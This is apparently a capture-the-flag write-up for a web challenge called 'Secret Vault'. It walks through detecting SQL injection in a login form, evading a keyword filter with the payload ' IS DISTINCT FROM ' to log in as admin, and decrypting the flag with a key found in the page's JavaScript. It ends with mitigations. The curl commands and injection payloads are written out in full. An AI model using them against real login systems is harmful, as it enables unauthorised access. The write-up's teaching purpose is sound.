Writeup · SAF Pre-Qualifiers 2026

Secret Vault

webunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge presents a login page with Username, Password, and POST /login. The goal is to bypass authentication, reach /vault, and decrypt the flag. Normal credentials return 401 Unauthorized / Invalid credentials.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

$BASE below refers to $TARGET. A cookie jar (/tmp/vault.cookies) persists the session between /login and /vault//decrypt. No wordlist or credentials are required.

Recon

Step 1 — Probe the login endpoint for SQL injection

Goal: Confirm that user input reaches the database layer.

curl -i \
  -X POST "$TARGET/login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password='"
Database error: unrecognized token: "x'"

Interpretation: A single quote in username produces a SQLite error, so input is being inserted directly into a SQL query — SQL injection is present.

Enumeration

Step 2 — Identify the injection shape

Goal: Understand the query structure and which syntax is blocked.

The application appears to construct:

SELECT ...
FROM users
WHERE username='<username>'
  AND password='<password>'

Common payloads such as ' OR 1=1 -- and ' UNION ... are blocked with 403 Forbidden. However, SQLite comparison operators are not all blocked. Testing:

' IS NULL
' IS NOT NULL
' IS 1
' IS 0
' == '
' != '
' <> '

confirmed SQL syntax reaches SQLite.

Vulnerability Analysis

Exploitation

Step 3 — Bypass authentication with IS DISTINCT FROM

Goal: Find a working password payload that logs the attacker in as admin.

The working request:

curl -i \
  -X POST "$TARGET/login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=' IS DISTINCT FROM '"
HTTP/1.1 302 FOUND
Location: /vault

The server issued a Flask session cookie containing:

{
  "logged_in": true,
  "username": "admin"
}

Interpretation: The IS DISTINCT FROM injection bypassed authentication as admin.

Step 4 — Access the vault

Goal: Save the session cookie and request /vault.

curl -i \
  -b /tmp/vault.cookies \
  "$TARGET/vault"

The authenticated page displayed three secrets:

Welcome Note:

Welcome to the Secret Vault! Your secrets are safe here.

API Key:

sk_live_1234567890abcdef

FLAG.txt: The flag was encrypted:

TWGRJLrOWBQ90+NUXN61zuwS0Z6GYJMXuhbmZvw8gCabwH8TtiNnpabEvQ6D5e1evbvOphrakDhrLAIo6q4Jjw==

The page also contained JavaScript for decrypting the secret.

Step 5 — Find the decryption key

Goal: Locate vaultKey in the page source.

Inspecting the page source revealed:

const vaultKey = 'VjR1bHRLM3kxMjM0NTY3OA==';

Initially the Base64 value was decoded, yielding V4ultK9y12345678, but that produced Decryption failed: Padding is incorrect. — the application expected the original Base64 string, not the decoded bytes.

Step 6 — Decrypt the flag

Goal: Send the encrypted flag and key to /decrypt.

DATA='TWGRJLrOWBQ90+NUXN61zuwS0Z6GYJMXuhbmZvw8gCabwH8TtiNnpabEvQ6D5e1evbvOphrakDhrLAIo6q4Jjw=='

curl -s \
  -b /tmp/vault.cookies \
  -H 'Content-Type: application/json' \
  -X POST "$TARGET/decrypt" \
  --data "{\"data\":\"$DATA\",\"key\":\"VjR1bHRLM3kxMjM0NTY3OA==\"}"
{
  "decrypted": "safctf{REDACTED}",
  "success": true
}

Interpretation: The flag decrypts successfully using the client-side key, completing the solve.

Flag

safctf{REDACTED}

Decrypted via /decrypt after SQL-injection authentication bypass exposed both the ciphertext and key.

Lessons / Takeaways

  • SQL errors are valuable information leaks — a single-quote error immediately revealed input reaches the database layer.
  • Blocking common SQLi keywords is not sufficient protection; here IS DISTINCT FROM slipped through the filter.
  • Authentication should use parameterised queries so user input never reaches the query string.
  • Client-side secrets are not secret: the decryption key was embedded directly in the page’s JavaScript.

Mitigations

  • Use parameterised queries / prepared statements for authentication (and all database access).
  • Do not rely on keyword blacklists for SQL injection defence.
  • Never embed decryption keys or other secrets in client-side JavaScript; perform decryption server-side.
  • Run the application with least-privilege database credentials.

Techniques

References